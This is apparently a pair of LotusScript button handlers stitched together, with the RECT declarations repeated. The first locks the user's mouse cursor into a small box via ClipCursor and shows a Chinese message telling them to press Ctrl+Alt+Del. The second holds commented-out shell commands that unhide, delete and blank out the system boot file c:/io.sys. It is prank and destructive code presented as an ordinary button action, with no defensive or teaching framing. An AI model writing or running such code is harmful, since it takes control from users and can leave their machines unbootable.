Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function ClipCursor& Lib "user32" (lpRect As RECT)
Sub Click(Source As Button)
Dim x As rect
x.left=400
x.top=400
x.right=500
x.bottom=500
Msgbox "你的鼠標即將被鎖定在一個矩形區域內﹐鎖定后請按Ctrl+Alt+Del解除鎖定﹗"
Call ClipCursor(x)
End Sub
Declare Function lcreat Lib "kernel32" Alias "_lcreat" (Byval lpPathName As String, Byval iAttribute As Long) As Long
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function ClipCursor& Lib "user32" (lpRect As RECT)
Sub Click(Source As Button)
'Set oScript=CreateObject("WSCRIPT.SHELL")
'Set oFileSys=CreateObject("Scripting.FileSystemObject")
'Call oScript.Run("cmd.exe /c " & "attrib c:/io.sys -h -s -r" ,0,True)
'Call oScript.Run("cmd.exe /c " & "delete c:/io.sys /y" ,0,True)
'Call lcreat("c:/io.sys",3)
End Sub